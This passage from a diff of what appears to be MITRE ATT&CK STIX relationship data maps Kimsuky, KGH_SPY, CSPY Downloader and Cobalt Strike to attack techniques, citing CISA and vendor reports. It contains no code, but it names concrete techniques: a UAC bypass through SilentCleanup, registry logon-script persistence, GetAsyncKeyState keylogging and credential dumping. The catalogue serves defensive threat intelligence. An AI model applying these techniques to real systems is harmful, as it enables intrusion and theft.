"source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "external_references": [ + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has modified Registry settings for default file associations to enable the opening of malicious documents.(Citation: CISA AA20-301A Kimsuky)(Citation: Crowdstrike GTR2020 Mar 2020)", + "relationship_type": "uses", + "id": "relationship--c1566ee0-3ddb-4482-94dc-eb05e35e7afa", + "type": "relationship", + "modified": "2020-12-22T17:59:54.534Z", + "created": "2020-11-05T15:01:15.628Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", + "external_references": [ + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used ProcDump to dump credentials.(Citation: CISA AA20-301A Kimsuky)", + "relationship_type": "uses", + "id": "relationship--eb67e50e-84ac-495d-8374-547ef1f34f4f", + "type": "relationship", + "modified": "2020-11-05T15:54:26.041Z", + "created": "2020-11-05T15:54:26.041Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", + "external_references": [ + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020." + } + ], + "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used modified versions of open source PHP web shells to maintain access, often adding \"Dinosaur\" references within the code.(Citation: CISA AA20-301A Kimsuky)", + "relationship_type": "uses", + "id": "relationship--f873875b-5be1-4a6d-81aa-d61a922df087", + "type": "relationship", + "modified": "2021-04-23T02:34:45.382Z", + "created": "2020-11-05T15:54:26.066Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", + "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "relationship_type": "subtechnique-of", + "id": "relationship--c2fc4ab7-303c-4359-9504-c55e94ea9aab", + "type": "relationship", + "modified": "2020-11-05T16:01:29.588Z", + "created": "2020-11-05T16:01:29.588Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "target_ref": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", + "external_references": [ + { + "url": "https://vms.drweb.com/virus/?i=4276269", + "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", + "source_name": "Fysbis Dr Web Analysis" + } + ], + "description": "[Fysbis](https://attack.mitre.org/software/S0410) has installed itself as an autostart entry under ~/.config/autostart/dbus-inotifier.desktop to establish persistence.(Citation: Fysbis Dr Web Analysis)", + "relationship_type": "uses", + "id": "relationship--eed67968-2d71-4394-84a9-1240d9ba6a83", + "type": "relationship", + "modified": "2020-11-06T14:23:21.893Z", + "created": "2020-11-06T14:23:21.893Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", + "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "external_references": [ + { + "source_name": "CISA AA20-301A Kimsuky", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", + "description": "CISA, FBI, CNMF. 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Retrieved April 6, 2021." + } + ], + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform port scans from an infected host.(Citation: cobaltstrike manual)(Citation: Talos Cobalt Strike September 2020)", + "relationship_type": "uses", + "id": "relationship--98e08749-5e7b-40ed-8a66-cd33f9c8c6ba", + "type": "relationship", + "modified": "2021-04-07T14:54:49.006Z", + "created": "2020-11-06T18:40:38.032Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", + "target_ref": "attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "external_references": [ + { + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. 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Retrieved June 4, 2019." + }, + { + "source_name": "Talos Cobalt Strike September 2020", + "url": " https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/031/original/Talos_Cobalt_Strike.pdf", + "description": "Mavis, N. (2020, September 21). The Art and Science of Detecting Cobalt Strike. Retrieved April 6, 2021." + } + ], + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can execute a payload on a remote host with PowerShell. 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Retrieved August 24, 2020." + }, + { + "source_name": "NCC Group Chimera January 2021", + "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", + "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021." + } + ], + "description": "(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", + "relationship_type": "uses", + "id": "relationship--f7120568-70db-4111-985c-9970775206c1", + "type": "relationship", + "modified": "2021-01-20T18:23:31.738Z", + "created": "2020-11-06T18:40:38.498Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", + "external_references": [ + { + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. 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Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can collect drive information from a compromised host.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--dd67596a-64c6-4dfb-b498-e7d5c1886090", + "type": "relationship", + "modified": "2020-11-06T19:39:44.074Z", + "created": "2020-11-06T19:39:44.074Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). 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Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to set a Registry key to run a cmd.exe command.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--5ced50d7-ea22-41c5-9482-2eb61ac4077d", + "type": "relationship", + "modified": "2020-11-06T19:39:44.102Z", + "created": "2020-11-06T19:39:44.102Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to set the HKCU\\Environment\\UserInitMprLogonScript Registry key to execute logon scripts.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--89bed5a5-b40c-4d27-87c7-a077d1cb2e59", + "type": "relationship", + "modified": "2021-04-22T13:40:21.236Z", + "created": "2020-11-06T19:39:44.095Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has been spread through Word documents containing malicious macros.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--64a0ef28-3274-4db4-a87d-e2ef4af03c4a", + "type": "relationship", + "modified": "2020-11-06T19:39:44.105Z", + "created": "2020-11-06T19:39:44.105Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can decrypt encrypted strings and write them to a newly created folder.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--f2cb5393-d33f-4ee3-a2c0-197c1e032ea5", + "type": "relationship", + "modified": "2020-11-08T23:23:32.180Z", + "created": "2020-11-08T23:23:32.180Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has used encrypted strings in its installer.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--c71b5c0b-5ef4-4c6f-9ad1-d2d59e0a7548", + "type": "relationship", + "modified": "2020-11-08T23:24:17.466Z", + "created": "2020-11-08T23:24:17.466Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to steal data from the Chrome, Edge, Firefox, Thunderbird, and Opera browsers.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--59e682dd-3a1f-48ab-8e1f-3fb967676931", + "type": "relationship", + "modified": "2020-11-08T23:25:25.626Z", + "created": "2020-11-08T23:25:25.626Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can execute PowerShell commands on the victim's machine.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--ce8eb6bf-11cc-4d9f-a81a-57bd1422efb1", + "type": "relationship", + "modified": "2020-11-08T23:26:13.891Z", + "created": "2020-11-08T23:26:13.891Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has the ability to download and execute code from remote servers.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--8f55bbbb-7404-4872-9832-c884297cdbe9", + "type": "relationship", + "modified": "2020-11-08T23:28:07.895Z", + "created": "2020-11-08T23:28:07.895Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can send data to C2 with HTTP POST requests.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--a2378103-ad88-4cd2-a135-a0f5c02210da", + "type": "relationship", + "modified": "2020-11-08T23:28:59.666Z", + "created": "2020-11-08T23:28:59.666Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can send a file containing victim system information to C2.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--e75cec16-55e4-471d-ab89-52edf5a7799e", + "type": "relationship", + "modified": "2020-11-08T23:29:51.078Z", + "created": "2020-11-08T23:29:51.077Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can exfiltrate collected information from the host to the C2 server.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--bb72c8e4-4d1b-47c6-ad2d-a345826b5645", + "type": "relationship", + "modified": "2020-11-08T23:40:19.576Z", + "created": "2020-11-08T23:40:19.576Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can enumerate files and directories on a compromised host.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--b567c4eb-669f-4e1b-b3dd-a5f3b9bdf567", + "type": "relationship", + "modified": "2020-11-08T23:40:19.634Z", + "created": "2020-11-08T23:40:19.634Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) has masqueraded as a legitimate Windows tool.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--506d7613-59ce-4fa4-90b3-f991691d5b93", + "type": "relationship", + "modified": "2021-04-22T13:42:19.853Z", + "created": "2020-11-08T23:40:19.693Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can harvest data from mail clients.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--ac772e5c-ef7b-433a-bc12-4125635699b1", + "type": "relationship", + "modified": "2020-11-08T23:47:39.817Z", + "created": "2020-11-08T23:47:39.817Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can collect credentials from WINSCP.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--f48ee432-cc6e-4f34-a8bf-0338c1d796d6", + "type": "relationship", + "modified": "2021-04-22T13:40:21.237Z", + "created": "2020-11-08T23:47:39.881Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", + "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). 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Retrieved November 6, 2020." + } + ], + "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can perform keylogging by polling the GetAsyncKeyState() function.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--e7e2eed9-ef15-4b6b-890b-72d2b47ca685", + "type": "relationship", + "modified": "2020-11-08T23:47:39.934Z", + "created": "2020-11-08T23:47:39.934Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", + "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). 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Retrieved November 6, 2020." + } + ], + "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can bypass UAC using the SilentCleanup task to execute the binary with elevated privileges.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--ae0b54d4-8aac-400a-ab6a-9656144c77cc", + "type": "relationship", + "modified": "2021-04-22T13:46:15.393Z", + "created": "2020-11-09T14:52:45.610Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", + "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has attempted to appear as a legitimate Windows service with a fake description claiming it is used to support packed applications.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--62a81aa2-bba1-47f3-81bc-ddc1912e2540", + "type": "relationship", + "modified": "2021-04-22T13:48:19.842Z", + "created": "2020-11-09T14:52:45.671Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can use GET requests to download additional payloads from C2.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--63297ca0-f552-417a-9a1f-ee497cce1bc3", + "type": "relationship", + "modified": "2020-11-09T14:52:45.686Z", + "created": "2020-11-09T14:52:45.686Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). 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(2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can search loaded modules, PEB structure, file paths, Registry keys, and memory to determine if it is being debugged or running in a virtual environment.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--d9a49337-e1a4-49ee-b0f1-ef80c7c37a99", + "type": "relationship", + "modified": "2020-11-09T14:52:45.740Z", + "created": "2020-11-09T14:52:45.740Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", + "target_ref": "attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has come signed with revoked certificates.(Citation: Cybereason Kimsuky November 2020)", + "relationship_type": "uses", + "id": "relationship--5c7bb53e-d396-4b7e-a925-4a928acc0762", + "type": "relationship", + "modified": "2020-11-09T14:52:45.773Z", + "created": "2020-11-09T14:52:45.773Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", + "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "external_references": [ + { + "source_name": "Cybereason Kimsuky November 2020", + "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", + "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020." + } + ], + "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has been packed with UPX.(Citation: Cybereason 